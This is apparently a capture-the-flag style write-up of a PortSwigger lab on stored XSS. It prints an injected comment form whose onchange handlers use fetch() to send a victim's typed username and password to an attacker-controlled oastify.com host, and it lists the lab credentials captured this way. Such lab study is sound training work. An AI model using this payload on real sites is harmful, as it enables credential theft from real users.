> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xss/password-capture-via-xss.md).

# Password Capture via XSS

Password Capture via XSS notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting Cross-site Scripting to Capture Passwords

This lab contains a persistent XSS vulnerability in the blog comment feature. A simulated user (victim) consults all comments after publication. The educational objective is to exploit this flaw to exfil the user name and password of the victim and then connect with these credentials.

A small form is injected into a comment. When the victim enters his/her information, `fetch()` requests send the values to a URL controlled by the attacker, allowing the user to capture the credentials.

Injected form

```html
User:
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Password:
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* The above form triggers the sending of `username` and `password` fields to the listening URL with each modification (`onchange`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d1b27d906c6c150b7fd545fb67228b7d457f65c%2Fimage%20(424).png?alt=media" alt=""><figcaption></figcaption></figure>

Credentials captured:

* **User name:** `administrator`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c889809afe3bbb156de3afe3d443ca67944b67c5%2Fimage%20(425).png?alt=media" alt=""><figcaption></figcaption></figure>

* **Password:** `qzkcz73zlwri7yiwpf31`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc77aa1737c90db6e15fd6f3c33367ffe67503cd%2Fimage%20(426).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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